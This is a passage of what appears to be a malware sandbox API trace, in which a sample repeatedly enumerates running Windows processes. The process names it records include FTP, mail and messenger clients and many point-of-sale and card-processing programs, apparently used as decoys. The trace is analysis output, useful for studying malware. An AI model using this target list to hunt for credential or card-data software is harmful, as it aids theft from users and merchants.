Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0125.397] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0125.401] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0125.403] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0125.406] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0125.408] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0125.411] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0125.414] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0125.416] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0125.419] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0125.421] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0125.425] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0125.427] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0125.429] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0125.432] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0125.434] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0125.455] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0125.457] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0125.460] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0125.462] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0125.465] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0125.467] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0125.469] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0125.472] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0125.474] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0125.479] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0125.481] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0125.483] CloseHandle (hObject=0x1e84) returned 1 [0125.483] Sleep (dwMilliseconds=0x64) [0125.662] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0125.679] Process32First (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.681] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0125.685] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0125.688] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.690] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0125.692] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.695] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0125.697] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0125.699] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0125.701] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.704] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.706] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0125.708] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.711] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.713] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.715] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.717] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.719] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.721] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.724] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0125.726] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0125.729] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0125.731] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.734] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0125.736] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0125.739] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0125.772] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0125.775] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0125.777] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0125.779] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0125.782] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.785] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0125.787] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0125.792] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0125.794] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0125.796] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.799] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0125.801] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0125.804] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0125.806] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0125.809] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0125.811] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0125.814] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0125.816] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0125.818] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0125.821] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0125.823] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0125.825] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0125.826] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0125.828] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0125.830] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0125.832] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0125.834] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0125.836] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0125.837] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0125.839] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0125.840] Process32Next (in: hSnapshot=0x204c, 